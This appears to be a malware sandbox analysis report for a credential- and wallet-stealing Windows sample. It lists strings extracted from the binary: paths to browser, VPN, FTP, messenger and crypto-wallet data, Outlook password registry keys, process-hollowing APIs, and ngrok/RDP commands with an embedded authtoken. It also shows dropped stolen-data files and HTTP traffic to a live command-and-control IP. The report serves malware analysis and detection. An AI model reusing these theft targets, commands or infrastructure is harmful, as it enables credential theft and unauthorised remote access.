<tr style='background: white;color: black;border: 1px solid black;'>
<td style='padding: 6px;'>
</td>
</body>
</html>
\\FileZilla\\recentservers.xml
\Roaming\
\FTP\WinSCP
WinSCP.ini
\FTP\WinSCP\WinSCP.ini
Hostname:
\\Temp\\dotnetbrowser-chromium\\64.0.3282.24.1.19.0.0.642\\32bit
\\Google\\Chrome\\User Data
\\Google(x86)\\Chrome\\User Data
\\MapleStudio\\ChromePlus\\User Data
\\Iridium\\User Data
\\7Star\\User Data
\\CentBrowser\\User Data
\\Chedot\\User Data
\\Vivaldi\\User Data
\\Kometa\\User Data
\\Elements Browser\\User Data
\\Epic Privacy Browser\\User Data
\\uCozMedia\\Uran\\User Data
\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer
\\CatalinaGroup\\Citrio\\User Data
\\Coowon\\Coowon\\User Data
\\liebao\\User Data
\\QIP Surf\\User Data
\\Orbitum\\User Data
\\Opera Software\\
\\Opera Software\\Opera GX Stable\\
\\Comodo\\Dragon\\User Data
\\Amigo\\User\\User Data
\\Torch\\User Data
\\Comodo\\User Data
\\360Browser\\Browser\\User Data
\\Maxthon3\\User Data
\\K-Melon\\User Data
\\Sputnik\\Sputnik\\User Data
\\Nichrome\\User Data
\\CocCoc\\Browser\\User Data
\\Uran\\User Data
\\Chromodo\\User Data
\Pidgin_INFo.html
<td style='padding: 6px;'>Protokol</td>
.purple\accounts.xml
ProtonVPN
ProtonVPN.exe
\user.config
\VPN\ProtonVPN
NordVPN
NordVpn.exe*
user.config
\VPN\NordVPN\
//setting[@name='User']/value
//setting[@name='Password']/value
\VPN\NordVPN\\accounts.txt
Uname:
Software
strDataDir
\wallets
Zcash
\Zcash
Armory
\Armory
Jaxx
\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Exodus
\Exodus\exodus.wallet
Ethereum
\Ethereum\keystore
Electrum
\Electrum\wallets
AtomicWallet
\atomic\Local Storage\leveldb
Guarda
\Guarda\Local Storage\leveldb
\Zap\Local Storage\leveldb
Binance
\Binance
atomic_qt
\atomic_qt\config
Frame
\Frame\Local Storage\leveldb
io.solarwallet.app
\io.solarwallet.app\Local Storage\leveldb
TokenPocket
\TokenPocket\Local Storage\leveldb
InfinityWallet
\InfinityWallet
Litecoin
Dash
Telegram
\Telegram Desktop\tdata
%appdata%
\Telegram
Telegram.exe
\tdata
\Telegram\
Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
SMTP Email Address
SMTP Server
POP3 Server
POP3 User Name
SMTP User Name
NNTP Email Address
NNTP User Name
NNTP Server
IMAP Server
IMAP User Name
Email
HTTP User
HTTP Server URL
IMAP User
HTTPMail User Name
HTTPMail Server
SMTP User
POP3 Password2
IMAP Password2
NNTP Password2
HTTPMail Password2
SMTP Password2
POP3 Password
IMAP Password
NNTP Password
HTTPMail Password
SMTP Password
\Outlook.txt
Password
^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$
^(?!:\/\/)([a-zA-Z0-9-_]+\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$
^(bc1|3|1)[123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz].*$
(?:^0x[a-fA-F0-9]{40}$)
(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)
(?:^G[0-9a-zA-Z]{55}$)
(?:^r[0-9a-zA-Z]{24,34}$)
(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)
(?:^A[0-9a-zA-Z]{33}$)
^((bitcoincash:)?(q|p)[a-z0-9]{41})
dash
(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)
doge
\bD{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}\b
zcash
\bt1[0-9A-z]{33}\b
\b(bnb)([a-z0-9]{39})\b
^T[a-zA-Z0-9]{28,33}$
\yREENfffhbn.lap
\hBStbrK.sven
MM/dd/yyyy h:mm
/frag.php?hwid=
&hrdp
http://ip-api.com/line/?fields=hosting
Snup.bat
SYSTEM\\CurrentControlSet\\Control\\Lsa
LimitBlankPasswordUse
SYSTEM\\CurrentControlSet\\Control\\Terminal Server
fDenyTSConnections
ngrok.exe
/software/ngrok.exe
vhttd.exe
powershell -window hidden -command
/ngrok.exe tcp 3389
/ngrok.exe config add-authtoken 2PDLmCpAc15rqXLc5UciTovK3D0_4ATiYujFG1vzipB7hfDgs
/vhttd.exe -i
/Snup.bat
].rar
cp866
GRINGer3301YY
SystemDrive
.bat
@echo off
timeout 7 > NUL
DEL "
" /f /q
/concerts/1.php
/concerts/2.php
/concerts/3.php
/concerts/4.php
/concerts/5.php
/concerts/6.php
/concerts/7.php
/concerts/8.php
/concerts/9.php
/concerts/10.php
/concerts/11.php
/concerts/12.php
/concerts/13.php
SELECT * FROM CIM_OperatingSystem
Caption
Windows 8
Windows 8.1
Windows 10
Windows 11
Windows XP
Windows 7
Windows Server
http://ipwhois.app/xml/
country
/cmd.php
https://ipwhois.app/xml/
sdfgfdel
szhtsds
ASchtDss
1111
.txt
.config
.docx
.doc
.rdp
*.txt
TovarishIDITeNahr.Properties.Resources
DebriTam
Snup
vhttd
\tox
Element
\Element
Miranda NG
\Miranda NG
Signal
\Signal
Adamant
\adamant-im
Wire
\Wire\Local Storage\leveldb
\WhatsApp
Vipole
\.vipole
Proxifier
\Proxifier4\Profiles
EdgeBETA_Auvitas
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\klfhbdnlcfcaccoakhceodhldjojboga\
EdgeBETA_Math
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\dfeccadlilpndjjohbjdblepmjeahlmm\
EdgeBETA_Metamask
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm\
EdgeBETA_MTV
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\oooiblbdpdlecigodndinbpfopomaegl\
EdgeBETA_Rabet
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\aanjhgiamnacdfnlfnmgehjikagdbafd\
EdgeBETA_Ronin
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\bblmcdckkhkhfhhpfcchlpalebmonecp\
EdgeBETA_Yoroi
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\akoiaibnepcedcplijmiamnaigbepmcb\
EdgeBETA_Zilpay
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\fbekallmnjoeggkefjkbebpineneilec\
EdgeBETA_Exodus
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\
EdgeBETA_Terra_Station
\Microsoft\Edge Beta\User Data\Default\Local Extension Settings\ajkhoeiiokighlmdnlakpjfoobnjinie\
EdgeBETA_Jaxx
Edge_Auvitas
\Microsoft\Edge\User Data\Default\Local Extension Settings\klfhbdnlcfcaccoakhceodhldjojboga\
Edge_Math
\Microsoft\Edge\User Data\Default\Local Extension Settings\dfeccadlilpndjjohbjdblepmjeahlmm\
Edge_Metamask
\Microsoft\Edge\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm\
Edge_MTV
\Microsoft\Edge\User Data\Default\Local Extension Settings\oooiblbdpdlecigodndinbpfopomaegl\
Edge_Rabet
\Microsoft\Edge\User Data\Default\Local Extension Settings\aanjhgiamnacdfnlfnmgehjikagdbafd\
Edge_Ronin
\Microsoft\Edge\User Data\Default\Local Extension Settings\bblmcdckkhkhfhhpfcchlpalebmonecp\
Edge_Yoroi
\Microsoft\Edge\User Data\Default\Local Extension Settings\akoiaibnepcedcplijmiamnaigbepmcb\
Edge_Zilpay
\Microsoft\Edge\User Data\Default\Local Extension Settings\fbekallmnjoeggkefjkbebpineneilec\
Edge_Exodus
\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\
Edge_Terra_Station
\Microsoft\Edge\User Data\Default\Local Extension Settings\ajkhoeiiokighlmdnlakpjfoobnjinie\
Edge_Jaxx
\Microsoft\Edge\User Data\Default\Local Extension Settings\dmdimapfghaakeibppbfeokhgoikeoci\
Chrome_Binance
\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\
Chrome_Bitapp
\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\
Chrome_Coin98
\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg\
Chrome_Equal
\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\
Chrome_Guild
\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\
Chrome_Iconex
\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfel\
Chrome_Math
\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\
Chrome_Mobox
\Google\Chrome\User Data\Default\Local Extension Settings\fcckkdbjnoikooededlapcalpionmalo\
Chrome_Phantom
\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa\
Chrome_Tron
\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\
Chrome_XinPay
\Google\Chrome\User Data\Default\Local Extension Settings\bocpokimicclpaiekenaeelehdjllofo\
Chrome_Ton
\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd\
Chrome_Metamask
Chrome_Sollet
\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno\
Chrome_Slope
\Google\Chrome\User Data\Default\Local Extension Settings\pocmplpaccanhmnllbbkpgfliimjljgo\
Chrome_Starcoin
\Google\Chrome\User Data\Default\Local Extension Settings\mfhbebgoclkghebffdldpobeajmbecfk\
Chrome_Swash
\Google\Chrome\User Data\Default\Local Extension Settings\cmndjbecilbocjfkibfbifhngkdmjgog\
Chrome_Finnie
\Google\Chrome\User Data\Default\Local Extension Settings\cjmkndjhnagcfbpiemnkdpomccnjblmj\
Chrome_Keplr
\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap\
Chrome_Crocobit
\Google\Chrome\User Data\Default\Local Extension Settings\pnlfjmlcjdjgkddecgincndfgegkecke\
Chrome_Oxygen
\Google\Chrome\User Data\Default\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh\
Chrome_Nifty
\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\
Chrome_Forbole X
\Google\Chrome\User Data\Default\Local Extension Settings\fmblappgoiilbgafhjklehhfifbdocee\
Chrome_SlopeWallet
Chrome_NaboxWallet
\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad\
Chrome_ONTOWallet
\Google\Chrome\User Data\Default\Local Extension Settings\ifckdpamphokdglkkdomedpdegcjhjdp\
Chrome_Goby
\Google\Chrome\User Data\Default\Local Extension Settings\jnkelfanjkeadonecabehalmbgpfodjm\
Chrome_FINX
\Google\Chrome\User Data\Default\Local Extension Settings\ejehodfgjhiadihgjdkgffciiepfdeep\
Chrome_Ale
\Google\Chrome\User Data\Default\Local Extension Settings\cflgahhmjlmnjbikhakapcfkpbcmllam\
Chrome_SenderWallet
\Google\Chrome\User Data\Default\Local Extension Settings\epapihdplajcdnnkdeiahlgigofloibg\
Chrome_LeapWallet
\Google\Chrome\User Data\Default\Local Extension Settings\aijcbedoijmgnlmjeegjaglmepbmpkpi\
Chrome_InfinityWallet
\Google\Chrome\User Data\Default\Local Extension Settings\jnldfbidonfeldmalbflbmlebbipcnle\
Chrome_Zecrey
\Google\Chrome\User Data\Default\Local Extension Settings\ojbpcbinjmochkhelkflddfnmcceomdi\
Chrome_MaiarWallet
\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm\
Chrome_FlintWallet
\Google\Chrome\User Data\Default\Local Extension Settings\hnhobjmcibchnmglfbldbfabcgaknlkj\
Chrome_Liquality
\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\
Opera Software
\\Login Data
\\Web Data
\\History
\\Passwords.txt
\\AutoFill.txt
\\History.txt
\\Downloads.txt
logins
kernel32
ResumeThread
Wow64SetThreadContext
SetThreadContext
Wow64GetThreadContext
GetThreadContext
VirtualAllocEx
WriteProcessMemory
ReadProcessMemory
ntdll
ZwUnmapViewOfSection
CreateProcessA
.compressed
bouncycastle.crypto
costura.bouncycastle.crypto.dll.compressed
costura
costura.costura.dll.compressed
dotnetzip
costura.dotnetzip.dll.compressed
costura.dotnetzip.pdb.compressed
newtonsoft.json
costura.newtonsoft.json.dll.compressed
officialdevelopmentteam
costura.officialdevelopmentteam.dll.compressed
system.data.sqlite
costura.system.data.sqlite.dll.compressed
2588"C:\Users\admin\AppData\Local\Temp\file.exe" C:\Users\admin\AppData\Local\Temp\file.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Diagnostics utility for Internet Explorer
Exit code:
0
Version:
11.0.20348.1
Modules
Images
c:\users\admin\appdata\local\temp\file.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
Total events
1 378
Read events
1 369
Write events
8
Delete events
1

Modification events

(PID) Process:(2588) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2588) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2588) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2588) file.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(992) iexplorer.exeKey:HKEY_CURRENT_USER\Software\KUPLzOuut
Operation:delete valueName:GATE
Value:
NO
Executable files
3
Suspicious files
8
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
992iexplorer.exeC:\Users\admin\AppData\Local\Temp\tmp3667.tmp.datbinary
MD5:B6AC860E0B054140F65635EE09CCBC18
SHA256:1A6F576BFEBB88FE0E466014032BBD070268D11EB431E9106EE9CA5795A2EF44
992iexplorer.exeC:\Users\admin\AppData\Local\hBStbrK.sven\Browsers\cookies_chrome.txttext
MD5:6003257F8CC28EA9931376856FA6AD3D
SHA256:456BAD69E9A4852FADF3210AAE104A364D724F4D71A4D0B4BA653FE155F77E3B
992iexplorer.exeC:\Users\admin\AppData\Local\Temp\tmp3628.tmp.datbinary
MD5:C72DB02959D2F97D090B0051EE963AD7
SHA256:6D8285E102CD46A9379778B223651ECEE043321E436DD15C2354EC59F5EB22A5
992iexplorer.exeC:\Users\admin\AppData\Local\Temp\tmp3678.tmp.datbinary
MD5:8E7D9BEBB7841316E6FA57C462772955
SHA256:6D6A4E43498C970C7E6DA9D6322B7C5D507A53E934C050A4CE8DC82E36A6484A
992iexplorer.exeC:\Users\admin\AppData\Local\Temp\tmp3679.tmp.datbinary
MD5:8E7D9BEBB7841316E6FA57C462772955
SHA256:6D6A4E43498C970C7E6DA9D6322B7C5D507A53E934C050A4CE8DC82E36A6484A
992iexplorer.exeC:\Users\admin\AppData\Local\hBStbrK.sven\Browsers\Passwords.txttext
MD5:5ACE02828FF272381934FAE45847F240
SHA256:45BEEA85A483DFCF0AA57AD4B0C1FFA6F0274178CBA4421E340676608F51556F
2588file.exeC:\Users\admin\AppData\Local\Temp\iexplorer.exeexecutable
MD5:44B65C0E74A1C608B202A663318F966D
SHA256:04FB545DF05912BE1228DF1958E6E60FFBC745CE3377162117B0EE59BB18A6B2
992iexplorer.exeC:\Users\admin\AppData\Local\hBStbrK.sven\DotNetZip-sa1gmafg.tmpcompressed
MD5:5CAA4A66B95F9C8B9FB38B0204FA65AE
SHA256:D46414D2CE9E0AA0948CCFCFFBE5C071871135953DCF05325E6FA86B949BE01A
992iexplorer.exeC:\Users\admin\AppData\Local\Temp\Snup.battext
MD5:3BB16D80A3DBF1C6CDB06E52FCAAB5BA
SHA256:6AD6B4CF1BC3786CEEA552B17B244A49896EE703BAF53D4008262790A79C97B5
992iexplorer.exeC:\Users\admin\AppData\Local\hBStbrK.sven\Outlook.txttext
MD5:DA1D3F6B5C2CA72536DD7200025D12A7
SHA256:7337A69706DDF330954B0F7C8110389F9D5B9FC234878D1021312C57FB11F4B8
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
21
TCP/UDP connections
10
DNS requests
2
Threats
766

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/1.php
RU
text
42 b
malicious
2588
file.exe
GET
200
94.142.138.111:80
http://94.142.138.111/software/bld_3s.exe
RU
executable
3.35 Mb
malicious
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/4.php
RU
text
95 b
malicious
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/9.php
RU
text
56 b
malicious
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/2.php
RU
text
126 b
malicious
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/5.php
RU
text
34 b
malicious
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/6.php
RU
text
34 b
malicious
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/12.php
RU
text
42 b
malicious
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/7.php
RU
text
3 b
malicious
992
iexplorer.exe
GET
200
94.142.138.111:80
http://94.142.138.111/concerts/3.php
RU
text
34 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
328
svchost.exe
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
2588
file.exe
94.142.138.111:80
—
Network Management Ltd
RU
malicious
992
iexplorer.exe
94.142.138.111:80
—
Network Management Ltd
RU
malicious
992
iexplorer.exe
195.201.57.90:80
ipwhois.app
Hetzner Online GmbH
DE
suspicious
992
iexplorer.exe
208.95.112.1:80
ip-api.com
TUT-AS
US
malicious

DNS requests

Domain
IP
Reputation
ipwhois.app
  • 195.201.57.90
suspicious
ip-api.com
  • 208.95.112.1
malicious

Threats

PID
Process
Class
Message
2588
file.exe
Potential Corporate Privacy Violation
AV POLICY HTTP request for .exe file with no User-Agent
2588
file.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
2588
file.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2588
file.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2588
file.exe
Potentially Bad Traffic
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
2588
file.exe
Generic Protocol Command Decode
SURICATA STREAM ESTABLISHED packet out of window
2588
file.exe
Generic Protocol Command Decode
SURICATA STREAM ESTABLISHED packet out of window
2588
file.exe
Generic Protocol Command Decode
SURICATA STREAM ESTABLISHED packet out of window
2588
file.exe
Generic Protocol Command Decode
SURICATA STREAM ESTABLISHED invalid ack
2588
file.exe
Generic Protocol Command Decode
SURICATA STREAM Packet with invalid ack
5 ETPRO signatures available at the full report
No debug info